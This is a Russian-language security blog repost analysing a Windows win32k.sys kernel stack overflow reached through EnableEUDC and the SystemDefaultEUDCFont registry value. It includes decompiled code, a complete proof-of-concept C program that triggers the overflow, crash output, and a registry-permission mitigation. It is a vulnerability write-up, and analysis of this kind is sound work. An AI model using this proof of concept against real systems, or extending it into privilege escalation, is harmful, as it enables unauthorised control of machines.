Репост из блога Esage Lab
В эти дни во многих источниках появились сообщения об обнаружении в ядре Windows (а точнее, в "сердце" графической подсистемы win32k.sys) очередной локальной уязвимости нулевого дня. Интересно также и то, что изначально информация о данной уязвимости и сам эксплойт появились на одном из многочисленных китайских форумов, но тема довольно быстро была удалена администратором.
Уязвимость представляет собой классическое переполнение буфера в ядре. Рассмотрим подробно её технические детали.
В MSDN описана API функция EnableEUDC(), библиотеки Gdi32.dll, которая служит для включения или выключения т.н. end-user-defined characters (шрифтов интерфейса, определённых пользователем):
BOOL EnableEUDC( BOOL fEnableEUDC );
Код этой функции выполняет системный вызов NtGdiEnableEudc(), который, в свою очередь, считывает путь к файлу пользовательского шрифта из параметра SystemDefaultEUDCFont, ключа реестра HKEY_CURRENT_USER\EUDC\<Current_code_page>. Для получения значения параметра реестра в коде win32k.sys используется функция RtlQueryRegistryValues():
NTSTATUS RtlQueryRegistryValues( __in ULONG RelativeTo, __in PCWSTR Path, __inout PRTL_QUERY_REGISTRY_TABLE QueryTable, __in_opt PVOID Context, __in_opt PVOID Environment );
В качестве одного из входных параметров она получает указатель на структуру RTL_QUERY_REGISTRY_TABLE:
typedef struct _RTL_QUERY_REGISTRY_TABLE { PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine; ULONG Flags; PWSTR Name; PVOID EntryContext; ULONG DefaultType; PVOID DefaultData; ULONG DefaultLength; } RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;
Эта структура предназначена для передачи информации о параметре реестра, значение которого необходимо прочесть. В коде win32k.sys поля этой структуры заполняются следующим образом:
1 signed int __stdcall sub_BF892113(wchar_t *a1, unsigned __int16 a2) 2 { 3 DestinationString.Buffer = (PWSTR)&v11; 4 KeyHandle = 0; 5 v9 = 0; 6 v7 = 0; 7 v11 = 0; 8 SourceString = 0; 9 DestinationString.Length = 0; 10 DestinationString.MaximumLength = 0x208u; 11 12 // получение имени ключа 13 v4 = _get_EUDC_key_name(0x208u, &SourceString); 14 if (v4 >= 0) 15 { 16 // проверка существования ключа 17 if (_check_for_key_exists(&SourceString, &KeyHandle, &v9, (int)&v7) && v7) 18 { 19 SharedQueryTable.EntryContext = &DestinationString; 20 SharedQueryTable.QueryRoutine = 0; 21 SharedQueryTable.Flags = RTL_QUERY_REGISTRY_REQUIRED | RTL_QUERY_REGISTRY_DIRECT; 22 SharedQueryTable.Name = L"SystemDefaultEUDCFont"; 23 SharedQueryTable.DefaultType = 0; 24 SharedQueryTable.DefaultData = 0; 25 SharedQueryTable.DefaultLength = 0; 26 dword_BF9A6444 = 0; 27 dword_BF9A6448 = 0; 28 dword_BF9A644C = 0; 29 30 // получение значения параметра SystemDefaultEUDCFont 31 v4 = RtlQueryRegistryValues(0, &SourceString, &SharedQueryTable, 0, 0); 32 } 33 else 34 { 35 v4 = STATUS_SUCCESS; 36 } 37 } 38 39 // skipped 40 41 return 1; 42 }
Как видно, в качестве буфера, в котором следует сохранить значение реестра (поле QueryRoutine), передается локальный буфер фиксированного размера, переполнение которого и произойдет в том случае, если длина получаемых данных будет превышать 208h байт.
PoC код, эксплуатирующий данную уязвимость, выглядит весьма просто:
1 #define EUDC_FONT_VAL "SystemDefaultEUDCFont" 2 3 int _tmain(int argc, _TCHAR* argv[]) 4 { 5 HKEY hKey; 6 char szKeyName[MAX_PATH], Buff[0x600]; 7 8 sprintf_s(szKeyName, MAX_PATH, "EUDC\\%d", GetACP()); 9 10 // создание ключа реестра 11 LONG Code = RegCreateKey(HKEY_CURRENT_USER, szKeyName, &hKey); 12 if (Code != ERROR_SUCCESS) 13 { 14 printf("ERROR: RegCreateKey() fails with status %d\n", Code); 15 return -1; 16 } 17 18 // удаление старого параметра 19 RegDeleteValue(hKey, EUDC_FONT_VAL); 20 21 // создание нового параметра "SystemDefaultEUDCFont" типа REG_BINARY 22 FillMemory(Buff, sizeof(Buff), 'A'); 23 Code = RegSetValueEx(hKey, EUDC_FONT_VAL, 0, REG_BINARY, Buff, 0x600); 24 25 RegCloseKey(hKey); 26 27 if (Code != ERROR_SUCCESS) 28 { 29 printf("ERROR: RegSetValueEx() fails with status %d\n", Code); 30 return -1; 31 } 32 33 // вызов уязвимой функции 34 EnableEUDC(TRUE); 35 36 return 0; 37 }
В результате выполнения данной программы произойдет затирание оригинального значения адреса возврата на стеке в функции nt!CmpParseKey:
kd> kb ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. b291a9d8 806260e0 8224ba74 e1011478 b291ac68 0x41414141 e1520b60 8062dec5 8062de52 806329ba 80632a06 nt!CmpParseKey+0x6ca e1520b8c 00000000 00000b8c 86000301 00000001 nt!HvpReleaseCellMapped+0x73
Поскольку модули режима ядра не предусматривают какой-либо защиты (stack cookies и другие) от переполнений буфера - эксплуатация данной уязвимости до полноценного локального повышения привилегий тривиальна, что и демонстрирует оригинальный эксплойт.
Официальное исправление для уязвимости на данный момент отсутствует, однако, можно предотвратить возможность её эксплуатации из-под ограниченной учётной записи, выполнив следующие шаги:
- Войти в систему под учётной записью администратора.
- Запустить редактор реестра (Win+R - regedit) и найти ключ HKEY_USERS\<SID>\EUDC (где <SID> - идентификатор ограниченной учётной записи).
- Отредактировать разрешения ключа (пункт "Permissions..." контекстного меню), запретив пользовательской учётной записи доступ к нему.
Данную уязвимость так же возможно использовать для обхода UAC, в связи с чем ожидается скорое появление широко распространённых вредоносных программ, которые будут пытаться её эксплуатировать.